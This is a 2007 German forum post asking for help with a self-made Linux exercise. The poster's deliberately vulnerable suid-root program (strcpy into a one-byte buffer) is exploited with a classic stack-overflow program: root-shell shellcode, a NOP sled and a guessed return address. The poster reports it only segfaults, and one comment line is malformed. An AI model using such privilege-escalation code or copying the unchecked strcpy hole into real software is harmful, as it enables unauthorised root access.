exploit zum probieren geht nicht

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Kerestrum, 29. Januar 2007 .

Schlagworte:
  1. 29. Januar 2007
    Hi,

    also ich versuche unter Linux root-rechte zu erlangen durch ein Programm was das suid-bit gesetzt hat und root gehört. Der Code für das Programm ist folgender:

    Code:
    #include <string.h>
    
    int main(int argc, char *argv[])
    {
     char buffer[1];
     strcpy(buffer, argv[1]);
     return 0;
    }
    
    Dieses Programm versuche ich nun über die Argumente mit folgendem Programm zu exploiten. Das Programm versucht einfach nur die Stelle zu finden wo die Rücksprungadresse im Speicher ist und diese dannn mit dem Shellcode zu überschreiben. Übergabe erfolgt durch die Argumente.

    Code:
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <dirent.h>
    
    char shellcode[] =
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
    "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
    "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
    "\x68";
    
    unsigned long sp(void) // Funktion um den
    { __asm__("movl %esp, %eax");} // Stack Pointer zurück zu geben
    
    int main(int argc, char *argv[])
    {
     int i, offset;
     long esp, ret, *addr_ptr;
     char *buffer, *ptr;
    
     offset = 0; // offset 0 verwenden
     esp = sp(); // Aktuellen Stackpointer in ESP schreiben
     ret = esp - offset; // return-Adresse überschreiben
    
     printf("Stack pointer (ESP) : 0x%x\n", esp);
     printf("Offset from ESP : 0x%x\n", offset);
     printf("Desired Return addr : 0x%x\n", ret);
    
     buffer = malloc(600);
    
    // gesamten Puffer mit Return-Adresse füllen
     ptr = buffer;
     addr_ptr = (long *) ptr;
     for(i=0; i < 600; i+=4)
     { *(addr_ptr++) = ret; }
    
    // erste 200 bytes des Puffers mit NOP-Anweisungen füllen
     for(i=0; i <200; i++)
     {buffer[i] = '\x90'; }
    
    // Shellcode nach dem NOP-Sled schreiben
     ptr = buffer + 200;
     for(i=0; i < strlen(shellcode); i++)
     { *(ptr++) = shellcode[i]; }
    
    // String beenden
     buffer[600-1] = 0;
    
    Programm vuln mit manipuliertem Buffer als Argument aufrufen
     execl("./vuln", "vuln", buffer, 0);
    
    //Speicherpuffer freigeben
     free(buffer);
    
     return 0;
    
    }
    
    Mein Problem ist jetzt das er immer nen Segmentation fault ausgibt, was ja auch normal ist weil es nen overflow gibt. Aber ich bekomme dann keine root-rechte. Hat jemand ne Idee was man da machen könnte oder was ich falsch mache?
     
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.